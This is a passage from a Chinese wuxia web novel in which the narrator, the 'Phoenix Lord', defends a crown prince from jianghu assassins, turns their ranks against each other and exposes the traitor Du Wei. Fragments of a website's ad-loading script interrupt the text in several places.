他兴奋极了,像个嗜血的阎王,面具也遮挡不住,他贪婪的目光,阴森森的笑着,贝齿闪着寒光,他要大开杀戒了,血液沸腾,每一个细胞都叫嚣着杀戮!太子和亲王卫队紧随其后,在对岸列队蓄势待发…… 那座木桥,在人马经过以后,桥墩便被河水冲倒,整座桥都垮了,那桥早就让人动了手脚,就是要我们有去无回。倘若刚才大队人马全都渡河,这会儿就被动极了。 73. 凤主 我那虎啸山林的一吼,果然逼得对手~狗急现身——杀手们冲下天牢。我岂肯等他们冲出天隙,用了六成功力,一声嘶吼“啊——”,朝着身下的土地,重重拍下一掌,内力向前延伸,河水震动,像煮沸的开水,河对岸的大地随之开裂,直直延伸出去,将天隙震碎,地动山摇,峡谷瞬间崩塌,刺客们逃窜,许多人就此长眠,能冲出来的最低是七品的高手,也狼狈至极。他们惊魂未定的回头看着一片狼藉的山谷,心有余悸的继续向前冲。却见堂邑夫如天神一般,岿然不动…… 看着这个熟悉的身影,有实力隐去气息藏在迎陵和迎树的八~九品高手也全都现了身。果然不出所料,我早知道那里藏着高手,身手越高,越不屑藏身深处。忽然我感觉到有玄止境的高手,不禁心下一惊,身上的寒毛不受控制的立了起来。他特意让我感觉到的…… 我草,居然没事先查探出有玄止境的高手存在。我心中立即盘算谋划! 可那位高手并不参战,甚至无心战事,更像是来看热闹的,在山岗上席地而坐,百无聊懒一般,叼着狗尾巴草。那些八~九品的高手中也有一部分分离出来,避嫌似得站在场外,悠闲地团坐在一处小坡上,看热闹。这情形我熟悉,不禁呵呵一笑,那些身形我更熟悉。 既然是熟人来看热闹的,那我便不能扫兴,更不能露怯,让人瞧扁了。我运气推出一掌,向树林震去,摧枯拉朽,树林齐齐折断,像是经历了飓风,我将分崩离析出来的枝干斩碎,化成无数木剑,朝着刚刚逃出生天的杀手们发动进攻。 再一挥手,身后皇家守卫和太子亲王箭囊中的利箭,凌空飞起,划破长空的声音,美妙至极,也让敌人胆寒,一场箭雨疾驰而下,最后我双手一挥,两条冰龙跃出水面…… 接下来就不用我出手了,我立在太子身前,双手掐腰,两眼不断巡视四周动态,像个恪尽职守的看门狗子,维护主人一般,威风凛凛,霸气十足,却也可爱至极。 韩燕熙张子文带人团团守护在太子亲王身前,李椒赵不虞带着护卫们和堂邑夫在河对岸与刺客厮杀,力保主战场在河对岸,背水一战,众人振奋不已。男人们嗜血好斗的本性被调动起来,各个像发怒的雄狮一般……堂邑夫觉得马上作战不尽兴,就将长枪飞了出去,将敌人贯穿往地上一插,抽出利刃,飞身下马,近身肉搏。比起在学宫学的那些马上的本事,他还是更喜欢杀手的技能,他用着顺心顺手,战斗力更足,杀伤力更强。尤其,我最近教他的那些招式,让看热闹的眼花缭乱。 看热闹的看得十分尽兴,互相探讨,拆解招式,时不时拍手叫好,很是捧场,做看客,他们十分称职。做杀手,他们自然也是一流。真好,他们没有加入这场行动,不然我要头疼了。这是走了什么狗屎运!? 我们的人和对手实力悬殊,战场还是被突破到了河这边,太子和亲王们镇定自若,不愧是太祖血脉。堂邑夫踏河而来,挡在我身前,面具一扔,对来敌高声喊道:“凤主在此,谁敢造次。” 对,是时候祭出我的身份了,拖延时间,稍作休整。 杀红了眼的刺客们,瞬间恢复了理智,双方持刃僵持着。 刺客们小声嘀咕,果然是堂邑夫那厮,确是凤主长安,不是说都死在上郡了吗。刚才那架势,已经是玄止境了,看来传言有误,是躲起来修炼了。怎么办?那有什么,玄止境的高手我们又不是没杀过。我看她小小一只,咱们最低也都是七品上的高手,人又多,对付她不在话下……对啊,小小一只,她怎么……凤主长安怎么还是几年前的样子…… 对呀,这小魔头,呵,定是作恶太多,罪有应得,练功走火入魔,遭天谴了,才不长了。销声匿迹,假死遁世,原来是见不得人了。什么凤主,我看就是个三寸丁儿…… 不等堂邑夫为我出头,刺客里自有人仗义执言:南边来的你们闭嘴,你才是魔头,你才是三寸丁儿,我们凤主没做过恶,南边那几个案子,我们凤主干的好,是你们南边罪有应得,就爱胡乱编排人。 你说什么,有种你再…… 好了好了,别吵了,大敌当前,别起内讧,不然跟之前那些人有什么区别,咱们都是七品以上的高手,别为逞口舌之快,自家杀闹起来,丢人。 这么些年都没变样子,怪不得咱们没得到确切消息,要不然行动也不至于……不管怎样,咱们现在各为其主,凤主现在是咱们的对立了,兄弟们不要顾念旧情,凤主做任务,从来不讲情面,规矩就是她定的,别忘了。 这点我们南边的放心,你们北边的注意就行。 都别说了,都集中注意力,玄止境咱们又不是没杀过,赌一把,搏一搏,封侯拜相,明日跑马涉猎的就是咱们…… 我不禁心中一乐,呵呵,还真是敢想敢干啊。现在背水一战的是他们,他们的高手比我们多,大可绝地反攻崛地而起,也确实有搏一搏的资本。看来是要苦战了,眼见他们就要行动,我暗中蓄力起势,大战一触即发。 “我还真以为……我还以为你真死了呢?!”一个内力浑厚的清脆女声响起:“大家都累了,稍作休整,歇一歇,我且先叙个旧。” 鼎盛玄止境的面子谁不给,又是……熟人。大家都收了招式。 剑拔弩张的时候横叉一杠子,真会挑时候,还有那个“真以为我死了和以为我真死了”,其中意思大大不同,她倒是很会拿捏,分的倍儿清。我呵呵一笑,对着天空道:“花铁铁,你来啦。”话音未落,一个红衣仙子,乘风而来,翩然而至,几年不见,她还真是出落了,啧啧,哼。我心头涌上嫉妒柳花郎时的那般酸爽,却也转瞬即逝。 再看站在河对岸,原本和她一道看热闹的高手,也都跟过来,呵呵,想必是刚才认出堂邑夫了,才都现身出来的。这会儿我也公开了身份,他们更加振奋起来。 堂邑夫和我跟他们点头示意,花铁铁上前把堂邑夫挥开。 “死鬼!”花 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 铁铁看着我,打量了一番,狠狠捏着我脸蛋,扯我脸皮,明知道我是真的,却非要辨别真假的样子,最后把我的脸揉成包子,皱成一团,上下打量着道:“口口声声最讲诚信,原来都是骗人的。” “啊?我哪有什么骗你的?”我仰着脸,不解的问。我只是退出江湖,没跟你打招呼而已。 她松开我,然后用手上下比量我,道:“瞧瞧啊,说好了一起长大的,哦,长着长着,你不长啦。呵,这是多少心眼子啊,压得你这些年一丁点儿也没长?”花铁铁说着便用手比划我的个头,还不到她胸口,然后特意在那个位置,用力砸了两下,“看着没?才到这儿!堂邑夫放个屁,能够你吃一天的吧,啊哈哈……” “滚……”我久别重逢的好心情一下子全无,一巴掌拍下她的手,没个好脸色。她就喜欢惹我生气,看见我肥嘟嘟的小脸上全是恼怒,她就更加爽快似得,咧嘴仰头大笑。不知谁小声嘀咕,我草,我们正在生死关头的对战呢,她这一笑,搞得我们都没有气氛了。快闭嘴,这也是个惹不起的主儿。 我懒得理她了,花铁铁却依旧自顾自道:“以前只觉得你长得慢,现在瞧着你是一点也不长啊,哎哎哎,不长就不长吧,活着就好,你不知道啊,江湖上都传闻你死了,我都要哭死了,我……”说着说着她就眼泪婆娑起来。 “滚滚滚,我大敌当前的,你多不吉利啊,哭丧的话,等会,我先把他们处理了,你回头给他们哭去。”说完,我忽然警觉,道:“哎,你和他们是一伙的吧!” “那怎么可能?!……倒真是一起来的,哦,是这样……”花铁铁说,她先前从建州做完任务回来,便突然有人发布江湖金羽令,想着金羽令那可是江湖最高级别的刺杀任务,她有一种舍她其谁的感觉,就参与了进来。但一看任务是刺杀北汉太子,她就放弃了,可江湖规矩在前,她虽然放弃了,想走却也不能了,必得等到任务结束了才能离开。 确实是这个规矩,无规矩不成方圆,江湖鱼龙混杂的,必须得讲道义,规矩不能破。发放任务,接领任务都得按规矩来。任务发放的时候都会用不同颜色的羽毛提示,杀手们根据羽毛的颜色判定自己的能力可不可以完成,决定要不要领任务。 当然领任务的规矩也很人性,拆封任务密函,知晓任务内容,也不代表一定要接下任务去做,但不想做了,不能说走就走。否则视为破坏任务,断人财路,甚至任务因为走路风声而失败,做任务的人身死殒命,离开的人就被自动认定为告密者,江湖之上,告密天理难容,会自动升级为最高击杀令任务,奖金丰厚,江湖人人得而诛之。 即使一时杀不了,击杀令也会永久保留,公开发放,每日挂在任务榜上,直至完成。总之那人将天天面临击杀,最重要的是名声臭了,在江湖上一天也混不下去了。这是江湖杀手接任务必须遵循的规矩,和承担的责任,以及明确的后果和惩罚。所以,一旦打算去领任务,就要做好准备。 74. 铁铁 江湖算是朝廷的法外之地,倘若再没了方圆,那得乱成什么样子?因此只要混迹江湖,江湖规矩,没人敢不遵守,即便是玄止境,拆了任务密函,也得“舍命陪君子”,将任务跟进到底。 搅合进刺杀大汉太子的任务里,花铁铁别提多闹心了,当即把任务密函化成齑粉,明确态度。自古朝廷江湖,井水不犯河水,尤其北汉,向来恪守,从没发放过和朝廷关联的任务,花铁铁这才没做防备的就去领任务了。 这种任务,不论成功还是失败,只要粘上她都惹了一身骚。失败了,被牵连进来,北汉朝廷那边说不清楚。成功了,知道的太多,早晚会被做成任务灭了。很多人都是因为这个缘故,被拉下水,又因为报酬实在丰厚,便打算放手一搏。毕竟太多人,不像花铁铁一样有本事,能保证自己全身而退。 混迹江湖,天天做任务,无非就是生死,都惜命,但都没把命看得太重。大家都是有今天,没以后的,今天失败今天死,今天成功,起码还能名声大噪,风光风光,至于以后,谁能保证呢,既然以后没有保证,他们还不如死心塌地,踏踏实实和众兄弟们一切做这惊天动地惊世骇俗又热血澎湃的任务…… 江湖人有江湖人的无奈,我懂,我理解!但,事情该怎么处理,还是要怎么处理的。 花铁铁十分惋惜的说,这一阵子一直足不出户的,今日才得见天日,都夏天了,白白辜负了春光。我想这有什么啊,要是他们按原计划,你跟着出来的时候都秋天了,夏光也耽误了。 花铁铁根本抑制不住与我重逢的兴奋和欢喜,也是,对我来说是重逢,对她来说我是死而复生,她是失而复得。 她一顿唠叨,东扯一下,西说一嘴,建州的任务没挣到多少,这些天的伙食越发不好,床板硬死了,硌得身上青一块紫一块的,北方太干燥,她如何调整都水土不服,指着肌肤胜雪,吹弹可破的脸上的一个小小的痘痘跟我说上火,她让我给她开一剂方子调理,还凑上她的樱桃小口,让我闻闻她嘴里味儿大不大,我只觉得她一弯腰,胸前白晃晃的扎眼,蹙着眉头让她滚远点。 可她越发往我身上贴,直接上手揽着我,道:“你都不知道,你‘死了’的这些年,我这些个不顺啊,我看啥啥不顺眼,干啥啥不顺心,我肝火那个旺,越旺就越爱生气,越爱生气肝火就越旺,最可气的是……” 她忽然想起一件很重要的事的样子,忍不住想跟我倒苦水,却突然停住口,不说了。又神神秘秘的在我耳边道:“我有个宝贝,可是哼,趁我这段时间抽不开身给跑了,等我把他抓回来,我再和你显摆吧。那可是个好东西!要不是看着你没死,我心里高兴,我可不教你知道!” 哼,宝贝?谁啊?柳花郎啊? 花铁铁虽然跟任务,不能离开,不能往外传消息,但是外界的消息,还是可以接收的。想必是柳花郎跑了,她得了消息,也无能为力,才上火的,味同嚼蜡饭也吃不下,辗转反侧觉也睡不好,才嫌人家伙食不好,床板太硬,跟我多半没啥关系。 呵呵,你的宝贝,现在人在长安,风生水起,早就是我的人喽,啊哈哈哈哈……到时候看你拿什么显摆,啊哈哈哈哈…… “你又想什么呢?又那副死样子?”花铁铁最熟悉我这副表情,知道我肯定又在心里琢磨或者嘲弄她什么事情,便警惕又恼怒的瞪着我质问。 我赶紧收回心神,有些慌张,“哦哦,叙旧的话,等会儿哈,”旋即用下巴指了一下刺客们,对花铁铁正经道:“我先把他们处理完了,我喜欢一鼓作气,也就是你,换做旁人敢打断我,我早就发烦,送他一起上西天了,岂容他罗里吧嗦扯这么多。” “嗯,我就知道我在你这里面子大。啧,怎么听着……罗里吧嗦,肯定不是我,算了,你说话就这风格,啧,小孩子都这样。”花铁铁是不会把屎盆子往自己身上扣的,就算明知道我的玄外之音说得就是她,还一副不打算跟我计较了的样子,又着重挖苦我是小孩子,然后不等我反应,就拍了拍手掐着腰道:“哎呀,闲着也是闲着,要不这任务我也参加一下吧。”说着将脚下不知谁遗落的长刀,足尖儿一点,握在手里。 花铁铁也不管众人反应,贴我耳边闻了闻道:“还是和小时候一样香喷喷的,赶紧了事,咱俩赶紧叙旧,好些话要和你说,我都等不及了呢。” 临时加入任务?我挑了挑眉,呵呵一乐。这个花铁铁,叙旧就这么重要吗?性子是真急啊! “你们几个还不赶紧表态,玄止境花铁铁都加入了。”刺客中有人对着河边那几个之前和花铁铁一起看热闹的高手喊道。 “啧,谁说加入任务,是加入你们那边儿啊?”花铁铁蹙眉嫌弃,说着阴柔一笑,顿了顿,调转刀口,对准那些杀手。 “花铁铁,你,你这属于临时反水,和告密没什么区别。”花铁铁此举犯了众怒,江湖弟兄,哦不,刺客们简直要气死,纷纷谴责花铁铁。“逆反天罡逆反天罡,还有没有规矩,说好不参加任务,就得一言既出驷马难追,哪能出尔反尔。”“身为玄止境,更当是江湖道义之表率,哪能作壁上观,看了热闹,还中途下场的。”“你一个玄止境,完全可以左右胜败,这会儿下场,不是抢功就是帮凶,利全让你占了,又当又……” 那小子话没说完,就被人狠狠给了一巴掌,被人按在地上给花铁铁道歉。他们可以因为不满谴责花铁铁,但不能言语有污,惹恼花铁铁,不然就算任务成功了,有幸活下来,花铁铁也不会放过他们。 “哦,加入我们就是反水,等同告密,那刚才你们误以为加入你们的时候,怎么那么亢奋,那么欢迎呢?话都让你们说了,你们才又当又立吧?!铁铁,要不还是算了吧,咱也是言而有信的人,说不参与任务就不参与任务,把热闹看到底算了,咱和他们犯不上,我和长安对付他们,手拿把掐,不叫你等急了。”堂邑夫讽刺完对方,又柔声对花铁铁道。 花铁铁到底 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是个要脸的,也终究是个讲道义的人,听了堂邑夫的话,只瞪了他一眼,便把手中的刀一扔,往后退了退,对着刺客们冷声说,能死赶紧死,别做无谓的挣扎,抵死反抗只是拖延时间,延长痛苦,耽误她叙旧。又再三让我速战速决,强调她真有好些话等不及和我说。 我微微勾唇一笑,将地上的刀踢给她,道:“你亲自动手最快,规矩是死的,人是活的,没这规矩,就立个规矩,以后凡是和朝廷关联的任务,玄止境可以随时随意加入任务。” 此言一出,刺客们哗然,大叫不服。堂邑夫痛快地嗜血一笑。 “有什么不服的,难道把标准降到九品,八品,七品你们就服了?”那江湖不就全乱套了吗,他们彼此看了看,自然明白我要是真把标准降低,今天他们中不少人会立马反水,他们思及此意,彼此立即多了一些防备,相互躲了躲退了退,松散开来,刀口也不那么坚决一致的对外了。 人心如此,人性其实很好利用的,我呵呵一笑道:“所以啊,不服你就练个玄止境出来。”这话一出,也算给他们吃个定心丸了。我总还是顾念他们都是江湖兄弟的,可…… 你都不在江湖了,凭什么规矩还由你来定。对,你已经不是凤主了,不过是个没长开的坏种,还想给我们立规矩?做梦! 我又是呵呵一笑,抬头眼里全是寒光,淡淡地道:“九品。”我话音一落,众人脸色微变,神色各异,旋即仅有的两个九品调转刀口,后面看热闹的九品,也抽出兵器,指向刺客们。刺客们瞬间躁动起来,有慌张,有愤怒…… “人世间,有钱,规矩可以为你变通,有权,规矩为你服务,没钱没权,规矩就为你量身定做,江湖也是人间,躲不开这些俗套。啊……什么是江湖规矩,各位混迹江湖这么多年,也该知道,江湖是凭本事说话的地方,没本事就老老实实守规矩,有本事只要遵循江湖道义,没人拦着你利用规矩。但是……保命,你只要记住一点,有我凤主在的地方,规矩就是我来定规矩!” 我凤主就是规矩,我凤主的话就是规矩,所以当初祸害齐王的妖女,拼死纠缠也想要我一句话。哼哼,真以为我死了?我离开江湖太久,有些人倒真还不如那个妖女明白事理了。 花铁铁把刀往肩上一扛,接着我的话道:“这是江湖第一规矩,凤主才不跟你们玩儿几天啊,你们就都忘了?瞧你们笨的,自上而下一盖用的人家凤主定的规矩,奉为圭臬,令行禁止,无有不敬,如今遇见人家规矩本人还哔哔上了,还学人家给任务取名字,搞什么屠龙行动,临行还重新起了个名字,叫什么帝国的未来,诸神的黄昏。”花铁铁挖苦玩刺客们,看着我道:“人模狗样的想学你,还学的不成样子,如今细思,仿佛有人是以为你死了,想成为第二个凤主,号令江湖呢。” “想号令江湖?当什么凤主第二啊?打上江湖排名榜头筹,当武林盟主就行了,凤主独步天下,可不是有一就有二的。”堂邑夫道。 75. 反水 我一脸思索道:“嗯,任务名字取得还可以,谁想的啊,倒是有才。”帝国的未来,经此一役,皇权帝位花落谁家,诸神的黄昏,谁又是翌日黎明?嗯,这名字起得还挺像那么回事儿的。 “喏,后面那个出天隙的时候伤了腿的小白脸子,已故武林盟杜晦的义子。”花铁铁说着随即哀伤起来,含着泪,带着哭腔道:“哎呀,你死……你隐世以后,杜晦也陨了,江湖高手榜前三,就剩下我了,我都生无可恋……” 双方对峙,生死关头,大家其实没什么心思,听她唠叨。 武林盟主杜晦的义子杜威?哼,居然带了人皮面具,我就说做贼的哪有不心虚的。我余光锁定杜威。杜威易容,可以瞒过别人,却瞒不过我们。他的身份被花铁铁暴露,一时间又是一阵巨大的骚动。 他可是杜晦的义子,杜晦在江湖上是侠义的化身,是道义的表率,是精神领袖,是神明一般的存在。作为杜晦的义子,杜威享受着杜晦带来的一切荣光与崇高,杜晦死后,作为义子的杜威就算武艺不高,却也几乎成了杜晦第二,被江湖人士追捧敬仰。 麒麟杜晦,凤主长安,胭脂虎花铁铁三人的关系谁不知道啊。杜威的暴露,对刺客们的震动是难以估量的,杜晦严令江湖不得牵连朝廷,而他的义子却……大家开始揣摩杜威参与行动的深意,再加上我的存在,和花铁铁的临时加入,以及九品的反水,场上情势逆转,已成定局。 别说他们了,我原本也笃定是一场死战,谁知状况百出,竟大大利好,只道还有如此运势,心中不禁啧啧称奇,回头看了看太子,又是一番感叹:还得是真命天子的气运盛啊,七绝不入也就罢了,敌人打到跟前了,不但没有鏖战苦战,竟不攻自破。到底是贵人面前不见血!师父说,什么都能努力,就是气运这东西,遇上了不得不低头,还真是! 这时有人弱弱地试探问:“八品行不行?”哼,你说行不行?这些人中大部分是八品,若是我说八品可以,那不都反水了,剩下几个七品,也试探问问,我说行,江湖自此大乱,以后兄弟们还怎么做任务谋生?我说不行,他们七品的顶下任务,宣告失败,抹脖子一死算完,咱们今儿倒也算全胜,但弑君的罪名怎么算? 提问的人都没等到我的拒绝,旋即被一刀毙命,“临阵叛投,扰乱军心,杀。”看来还是有明白人的。不过,这条规矩,也是我定的,那人虚虚的看了我一眼,又看了看杜威。 这时候,天陷天井剩下的小虾米,赶了过来,毕竟也是五六品的高手,大鱼们像看见援军一样,似乎又有了几分士气,却见小虾米飞身渡河,丢下手中的刀剑,朝我行礼,然后恭敬地站在一边。 大鱼们震惊的决眦欲裂,又骚动起来。我草,就知道出了内鬼,没想到内鬼这么多。我特么,咱们这里面不会还有吧。别了吧,就剩咱们这些殊死搏斗过来的,还反水了两个九品,对方临时加入了一些看热闹的,咱们这里面再特么有内鬼,咱们这特么那是做任务啊,这就是给自己人算计了。 目标不是太子,是咱们吧。此言论一出,立即引起轩然大波,刺客们躁动不已,像煮沸的开水…… 这别是要把咱们一锅端了,这是清理江湖吧。这特么怎么看怎么像凤主的手笔,我草,这个任务不会是凤主谋划的吧。那边的别胡说,不是凤主,凤主假死遁世,不理俗务,我看是有人要上台,怕不服众,所以设计把咱们这些能力强的杀一杀,给自己扫清障碍的吧。 矛头出来了,我赶紧给它找指向!“对了,算计你们的人,就是他啊。”我对着杜晦的义子杜威一指。 “你,你胡说,什么算计不算计,任务就是任务,我,我可没想上什么台。”杜威一个激灵,浑身都炸毛了,旋即稳定好语气,道:“我爹爹永远是盟主,我们杜氏父子最讲道义,我能力有限,无心主位,绝不恬居,我也是接了任务才……我易容也是因为这任务有违父训,我愧对家父啊。但我对天发誓,绝对没有对不住各位兄弟,倒是凤主,竟然投靠了朝廷,是了是了,兄弟们,别忘了凤主长安最是诡计多端,咱们别中了她的离间计。” 杜威眼睛一转,随即上前几步,豪气万丈地撩起衣袍前摆,双膝重重跪在地上,双手抱拳,仪态竟和麒麟杜晦九分神似,大家一时恍惚,只见他大义凛然,道:“凤主,我愿一人抗下所有,这次任务兄弟们自是不得已,你且放了众位江湖弟兄,我把知道的都告诉你,你如今是太子的人,你且拿去邀功。” 一番话,怕是说得兄弟们心里暖暖的吧?!哼哼,后面的人看不见,而我却看的自己,他对上我的眼神,闪着精光很有深意,暗示我他知道很多,这笔生意对我百利而无一害。还想两头吃好!!! “哟,这是要,招供?”我眉毛一挑,眼睛一亮,刀子是你亲自递上来的,我正愁怎么破局呢。“嗯,你先别说,喂,我且问问诸位,还有谁招供,都站到这边来,誓死不愿招供的上那边去。”我双手一挥,给刺客们指出两条道。 杜威蹙了蹙眉头,小心观察审视我的意图。 自然有人默不吭声跟着杜威站到一边,另一边的刺客们尤其是南边来的,此时都要气炸了,瞪着他们,恨不得嗜血啖肉,扬言宁死不屈,有人见大势已去,不愿受辱,刀架脖子,说着最后豪气万丈的言语壮行:江湖规矩,江湖道义,江湖气节,得有人担着,兄弟们来生再见,十八年后,我某某人又是一条好汉。当即便有人跟随:我也是一条好汉,十八年后再见! 杜威急迫地忙上前去拦,空手拦刃,双手血流不止,又跪回地上,苦苦哀求我放了他们,让他一人承受所有的惩罚,真情实感的样子,天地动容。道貌岸然也就这样了吧? “啧,把刀放下,快把刀放下,要死要活的做什么?走吧,都走吧。”我不理杜威,只快步上前,将那些人手里的刀剑按下,带着责备的语 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气柔声道。说着挥一挥手,让卫士们让开一条路,打发他们走。卫士们不解,却在太子的示意下,选择尊重。我又催促了几番:“快走,走吧,都快走吧,走走走……”见我撵人,那些要自刎的刺客们不明所以,但也选择尊重,稍作迟疑,放下兵器,转身离开。我把那两个九品的也给打发走了…… 打算招供的那群人,见此情形,大喜过望,立马积极起来,纷纷放下屠刀举手吆喝:我招。我招。我也招…… 有的都已经大剌剌的开始说上了,我头脑子一疼,厉声呵道:“闭嘴!都特么闭嘴,谁特么要你招,把刀拿起来,快把刀给我拿起来,我再说一遍,把刀拿起来,谁特么敢招供,敢胡咧咧,敢特么多说一个字,我就立即灭口。” 堂邑夫早就上前给了那几个嘴快的刺客几巴掌,众人不解但也选择尊重,赶紧拿起屠刀,一脸惊慌的看着我。 那些选择宁死不屈的杀手们,走到看热闹的那边,看起了热闹,不禁小声议论:凤主行事果然魔怔。要不怎么都说她是小魔头。小魔头可不是因为她做事果敢狠辣。也不是因为她喜欢一锅端。更不是因为别人污蔑她坏事做尽恶事做绝。对,凤主没做过一件奸恶之事,反而行侠仗义,惩恶扬善,替天行道。实在是脾气秉性让人捉摸不透,魔性十足。 我嫌他们聒噪,打发堂邑夫过去撵他们走,不许他们和看热闹的搅和在一起,他们知道我脾气乖张,也明白自己没有看热闹的权力,就纷纷散去。我看着他们离去的背影,叹了口气,心中有些惋惜,都是八品上的高手,有些马上就要进阶九品了,却不爱惜羽毛,掺和到关联朝廷的任务中去,胆敢刺杀太子,一失足成千古恨,哎,这些人啊,可惜了了…… 江湖就是江湖,任务不可关联朝廷,我当初多次明言提醒,杜晦甚至下过严令,北汉这边也小心遵循……哎,可人走茶就凉,我和杜晦不再了,到底没几个能秉持到底的!人都坚信富贵险中求,在巨大的利益面前,都想赌一把,有几个是能保持清醒,守住本心的呢。像花铁铁和那几个相熟的高手一样跟着看热闹的,实在难能可贵了。 刺杀太子这样的任务,居然能够发布,一定是有中间人的,这个中间人……哼哼,幕后主使背景太强太大,牵连太广,不是拔除的时候,但是这个中间人,你今天是死定了!!敢利用江湖,插手朝廷至高无上的皇权更迭,还真是个“人才”! “杜晦!”我朗声道:“你出来清理门户吧。” 一听杜晦二字,杜威一众——扬言杀过玄止境的都瞬间腿软,大叫不可能,说什么凤主虚张声势,麒麟杜晦早就死了。 花铁铁也疑惑的看着我。久久没有动静,那些人有恃无恐起来。“杜晦,你再不出来,我就给他们冤枉死了。”我道。 忽然风云聚变,飞沙走石,像某个人狂怒的心情一样,我立在太子身前,为太子挡住风沙,看着那人现身,勾嘴一笑。 76. 杜晦 众人迷了眼睛,纷纷拂袖遮挡,待一切过去,只觉得人群中仿佛多了一道影子,定睛一看,有人吓得倒吸凉气,差点没站稳。只见那人一袭黑袍,斗帽十分宽大,黑金面具狰狞恐怖,犹如地狱使者,周身寒气。 杜威一行人见了,瞬间虚怯。却也不肯认,这人便是杜晦。但看身形,已经动摇。直到杜晦使出他的成名招式,一下子便将杜威脸上的人皮面具掀开。杜威慌张地抬手遮盖住他的容貌,他的同伙也慌张不已。 花铁铁一脸喜色,要上前。我拉住她,摇了摇头。 遮着脸的杜威脑子转得很快,立即五体投地,跪行过来,朝着太子叩拜,说要投诚,供出幕后主使。他那腿脚哪有一点受伤的样子,原来这小子一直装伤,躲在后面保命,不等众人反应过来,我大叫一声“嘚”。 “岂容你胡说八道!”我脚尖一点,一块石头飞了出去,将他唇齿击碎。杜威捂着脸,在地上翻滚惨叫。 “你原本容貌丑陋,被父母遗弃,连乞讨也被人厌恶,是你盟主好心收留你,悉心教你武功,养于膝下,待你真如亲子。”我努力稳住语气:“你呢?杀人不过头点地,你看看你把盟主折磨成什么样子,你还是人吗?” 我走到他身边,低声道:“交出你师……哼,你不配,交出盟主的面皮,我饶你不死。”杜威疼得满头大汗,口不能言,颤抖着身子,看了看我,又看了看杜晦。想矢口否认,却说不出话,只摇着头。 “我知道就在你身上,别耍花招。”那是他梦寐以求的“脸”,他一定随身带着。他迟迟不动,我不耐烦道:“我的脾气你了解的。” 杜威不受控的打了个激灵,哆哆嗦嗦从怀里拿出一个细长的匣子,我一把抢过来,将匣子打开,面皮被真丝卷着,用珍贵的药材好生养护着,啧啧,得耗费不少钱财吧,怪不得这畜生什么任务都掺和。 我走到杜晦面前,将面皮展开,剥下真丝。杜晦掀开斗帽下面具,弯下腰来,斗帽异常宽大,众人看不见他恐怖如斯的样貌,不然一定吓得惊叫不已,梦魇连连。 我将面皮给他戴好,看着那张熟悉的脸,我眼含热泪,他从我眸子里看着他现在的样子,虽然有些轻微的不自然,但那是他的脸,他确定,这是他魂牵梦萦的,属于他的脸。他用带着黑金手套的手摸了摸脸,却看着黑金手套,再次暗淡了目光。他残缺的手指再也回不来了。 那边看热闹的高手们各个振奋,纷纷行礼,有的甚至喜极而泣……杜晦是大家爱戴拥护的武林盟主,他的陨落,让好多人一时间沉浸在痛苦中,久久难以释怀,有的根本缓不过来,甚至就此退出江湖。 他陨落的前后经过,作为义子的杜威穿着斩衰伤心欲绝,顶帆摔瓦盆的时候,说什么就是什么了。左不过尸骨无存,谁能怎样?可如今不一样了…… “说一说你要这张脸做什……哦,你说不了话了,那我替你说吧,你呀是觊觎武林盟主的位置,你把身形练的和盟主一般无二,还私下模仿盟主的音容笑貌,偷练禁术,被盟主发现了,盟主念及情分,有心饶你一命,你却伙同外人,在做任务的时候背刺盟主,痛下杀手,一刀毙命也就罢了……你做的那些事,人是没法做出来,我都说不出口。” 花铁铁一脚将杜威踢飞出去,愤怒谴责,“杜威,你这个畜生,那是你的师父,你的养父,待你如亲子,对你不设防,你才得手吧,你竟如此残害,简直猪狗不如。” “哼,到现在还只是一个七品,是禁术反噬了吧,我一眼就瞧出来了。”我看着杜威,鄙视不屑的一笑,“然后我啊,一下就想明白这次任务到底是怎么回事儿了,你们啊,都叫他玩了,关联朝廷的任务,想要在江湖上发放,必须得有江湖人做中间人,也就是介人,你们现在知道谁是这次任务的介人了吧。” 花铁铁啐了一口,说什么介人,这特么就是个贱人。 不等刺客们义愤填膺破口大骂,我负手踱步,自顾自继续道:“顶着已故武林盟主义子的名号,江湖上谁不给他几分薄面,可他啊,贪心的很呢,非要坐上那个位置,不达目的誓不罢休啊,急功近利,修炼禁术身体出了问题,于是就动起歪脑筋来,打了两手准备,一手呢就是继续搂钱弄些奇珍异宝养护身体,哪怕有朝一日练成了九品,他都能急不可耐地带上盟主的面皮,来一场声势浩大的现身回归,重出江湖,号令武林。另一手呢,就是交涉朝廷,搅入权谋挣斗,富贵险中求,只不过,他享富贵,你们涉险而已,你们啊就是他的投名状,是他一将功成,踩在脚下的枯骨。哦,这几个是他同党,你们和他们站远一点儿,小心他们天打雷劈,误伤了你们。” 话音一落,瞬间,泾渭分明。那些被孤立在外的人,十分尴尬又恼羞,恐惧至极,竟满脸愤怒。 “刚才那些宁死不屈的,有些固然是认清了局势,有些真是招无可招。你们呢,有些是有点东西在肚子里的,有些其实也就知道点皮毛,大概和花铁铁了解的差不多。这么大的事情,我们太子殿下稳如泰山,其中内情门儿清,还用你们招供吗?所以闭嘴就对了。”我微微一笑,仿佛想起什么重要的事,缓缓道:“哦,对啦,你们得,永远闭嘴啦,刺杀太子,是死罪。都是大人,都懂事了,自己来吧!” 这些人犹豫了,他们要是想死,刚才就不会选择招供了,如今才道自己选了死路一条,又后悔又无奈,又一点法子也没有。有人捡起地上的刀剑,发着狠,悲鸣着,努力朝自己脖子上抹,好一会儿,也没有人真正死去,于是商量着互相帮帮忙,但谁也不愿意做最后那个…… 都是死,杜威同伙也不装了,上前扶住杜威,环成一圈,持刀防御,杜威口齿不清的对同伙喊道:“我们能杀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他一次,就能再杀他一次,走。”说完他们飞身,踏河而去。 那你倒是杀啊,你跑什么啊。我和花铁铁无语的相互对视,摇了摇头。 杜晦犹如天神一般,凌空随去。啧啧,要是刚才不把天隙震塌就好了,能给杜威那小子完完整整都用上一遍。啧啧啧,还敢偷学我留在杜晦那里的兵书,那兵书都是我看完典籍,整理出来的精华,倒是便宜他学得省时省力。哼! 